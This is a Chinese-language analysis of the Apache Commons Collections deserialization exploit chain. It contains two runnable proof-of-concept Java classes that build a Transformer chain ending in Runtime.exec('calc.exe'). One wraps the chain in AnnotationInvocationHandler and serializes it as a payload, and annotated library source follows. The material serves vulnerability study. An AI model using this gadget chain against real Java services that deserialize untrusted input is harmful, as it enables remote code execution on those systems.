commons-collections反序列化利用链分析（1）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

//复制这段代码 运行并调试
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class poc_1 {

    public static void main(String[] args) throws Exception {
        //构造一个Transformer(转换器)数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //用Transformer数组实例化Transformer链
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建HashMap
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //为map绑定Transformer链，生成TransformedMap
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //得到TransformedMap的一个Entry
        Map.Entry onlyElement = (Map.Entry)outerMap.entrySet().iterator().next();
        //设置TransformedMap的Entry时会通过Transformer链对Value进行转换，转换过程依次执行Transformer链中的Transformer.transform方法，触发代码执行。
        onlyElement.setValue("foobar");
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

//poc_2中使用的漏洞触发类
//满足我们之前提到的漏洞触发类须满足的3个条件 1. 2. 3
//类的构造需要满足另外的条件(1)(2)...(6)

//1.此类在jdk中，必然会被加载，可序列化
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    //2.含有一个Map类型的属性，可以用构造方法对其赋值
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        //(1)var1.isAnnotation(): 传入的var1是注解的class对象
        //(2)var3.length == 1: 该注解只实现了一个接口
        //(3)var3[0] == Annotation.class: 该注解了实现java.lang.annotation.Annotation接口
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            //将传入的注解的class对象赋值给this.type
            this.type = var1;
            //将传入的TransformedMap赋值给this.memberValues
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            //获取传入注解关联的AnnotationType实例
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        //通过AnnotationType实例获取注解接口信息。注解接口信息是Map类型，key是注解接口中的方法名，value是该方法的返回类型
        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            //迭代获取传入的TransformedMap的Entry
            Entry var5 = (Entry)var4.next();
            //获取Entry的key
            String var6 = (String)var5.getKey();
            //通过Entry中的key在注解接口信息中获取注解接口中对应方法的返回类型
            //(4)Entry中的key必须也可以作为注解接口信息的key，即Entry的key必须等于注解接口的任一方法名（例如传入Target.class对象，那么TransformedMap的key必须是"value"）
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                //获取Entry的value
                Object var8 = var5.getValue();
                //(5)Entry的value不是拿到注解接口信息中对应方法的返回类型的实例
                //(6)Entry的value不是ExceptionProxy实例
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //3.实现了readObject方法，并在readObject方法中调用了对map value的更新方法，触发恶意转换逻辑
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

...
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

////复制这段代码 运行并调试
package com.company;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class poc_2 {

    public static void main(String[] args) throws Exception {
        //1.客户端构建攻击代码
        //构造一个Transformer(转换器)数组
        Transformer[] transformers = new Transformer[] {
               //Runtime不可序列化，但是Class可以，具体逻辑简单分析即可
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //用Transformer数组实例化Transformer链
        Transformer transformerChain = new ChainedTransformer(transformers);
    
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //为map绑定Transformer链，生成TransformedMap
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //通过反射找到 漏洞触发类AnnotationInvocationHandler的class对象
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制
        ctor.setAccessible(true);
        //获取漏洞触发类AnnotationInvocationHandler的实例
        Object instance = ctor.newInstance(Target.class, outerMap);
    
        //payload序列化写入文件，模拟网络传输
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);
    
        //2.服务端读取文件，反序列化，模拟网络传输
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        //服务端反序列化漏洞触发对象，执行恶意的转换逻辑
        fin.readObject();
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

public interface Transformer {
    //Transformer.transform输入一个类型的对象，转换成另一个类型的对象。
    Object transform(Object var1);
}

public class ConstantTransformer implements Transformer, Serializable {
    //设置要转换的目标对象
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    //将传入对象转换为固定的目标对象
    public Object transform(Object input) {
        return this.iConstant;
    }
...
}

public class InvokerTransformer implements Transformer, Serializable {
    //设置转换方法名和参数列表
private InvokerTransformer(String methodName) {
        this.iMethodName = methodName;
        this.iParamTypes = null;
        this.iArgs = null;
    }

    //设置转换方法名和参数列表
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    //传入对象，反射调用转换方法，返回转换后的对象，转换方法由传入对象的类定义。
    public Object transform(Object input) {
        Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
    }
...
}

public class ChainedTransformer implements Transformer, Serializable {
    //设置一个Transformer链
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    //遍历Transformer链，传入对象经多个Transformer依次处理后返回
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
          object = this.iTransformers[i].transform(object);
        }

        return object;
    }
...
}